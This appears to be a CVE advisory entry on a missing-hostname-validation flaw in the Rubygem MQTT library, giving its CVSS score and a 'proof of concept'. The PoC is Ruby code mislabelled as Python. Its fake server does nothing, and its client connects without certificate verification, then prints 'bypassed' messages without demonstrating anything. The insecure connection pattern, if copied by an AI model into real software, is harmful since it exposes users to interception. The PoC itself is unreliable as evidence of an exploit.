A flaw was found in Rubygem MQTT. By default, the package used to not have hostname validation, resulting in possible Man-in-the-Middle (MITM) attack.
CVSS Details
CVSS Score
7.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Configurations (Affected Products)
No configuration data available.
Rubygem MQTT < 0.7.0
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-12790 PoC - MITM Attack on Rubygem MQTT
# This PoC demonstrates the hostname validation bypass vulnerability
require 'mqtt'
require 'openssl'
# Create a fake MQTT server with self-signed certificate
class FakeMQTTServer
def initialize(cert_path, key_path)
@cert = OpenSSL::X509::Certificate.new(File.read(cert_path))
@key = OpenSSL::PKey::RSA.new(File.read(key_path))
end
def start_fake_server(port = 8883)
# Simulate malicious server accepting connections
puts "[*] Fake MQTT server running on port #{port}"
puts "[*] Waiting for victim connection..."
# In real attack, this would intercept and manipulate traffic
end
end
# Vulnerable client connection (without hostname verification)
def vulnerable_mqtt_connect(broker_host)
# Default behavior - hostname validation is disabled
MQTT::Client.connect(
host: broker_host,
port: 8883,
ssl: true,
# Missing: verify_mode: OpenSSL::SSL::VERIFY_PEER
# Missing: cert_chain_file for proper validation
)
end
# Example of vulnerable usage
begin
client = vulnerable_mqtt_connect('attacker-controlled-server.example.com')
# Connection succeeds even with fake certificate
puts '[!] Connection established - hostname validation bypassed!'
puts '[!] All traffic is now visible to MITM attacker'
# Attacker's interception capabilities:
# 1. Read all published messages
# 2. Modify message content
# 3. Inject fake commands
# 4. Disconnect legitimate clients
rescue => e
puts "[!] Error: #{e.message}"
end